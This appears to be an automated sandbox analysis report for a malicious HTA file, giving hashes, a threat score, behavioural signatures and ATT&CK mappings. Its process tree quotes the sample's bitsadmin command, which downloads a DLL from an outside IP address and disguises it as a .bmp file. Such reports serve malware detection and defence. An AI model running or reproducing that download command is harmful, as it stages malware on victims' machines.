2c9d85fd5b94dc9af67d408e2e269f59d89bad35a6df94dc49275ae6793a4bbc

Analysis

max time kernel
81s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 10:41

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General

Target
azienda_37.hta
Size 6KB
Sample230207-mq46tabb57
SHA256 2c9d85fd5b94dc9af67d408e2e269f59d89bad35a6df94dc49275ae6793a4bbc
MD5 0df25caaf1360f90af9a39b230fc032c
SHA1 6a1b77dbd64331e47b9ddf436e7f416c80dfe8c0
SHA512 de4aa6dd02041990e8b6613a80a5ace02a852cb263c46b07753560ac4c6c0e87b57ae11b729736a2a207d568db318b37b12ca961a4fe4de9bfa56c9461ad3ae8
SSDEEP 96:wEn1DLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dnr96k:PRU77rIKdn863jMM0OD9+VVF45x/CI
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
5	2216	mshta.exe
7	2216	mshta.exe
20	2216	mshta.exe
21	2216	mshta.exe
22	2216	mshta.exe
24	2216	mshta.exe
26	2216	mshta.exe
28	2216	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2348	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2216 wrote to memory of 2348	2216	mshta.exe	83
PID 2216 wrote to memory of 2348	2216	mshta.exe	83
PID 2216 wrote to memory of 2348	2216	mshta.exe	83

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_37.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://46.8.19.182/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:2348

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads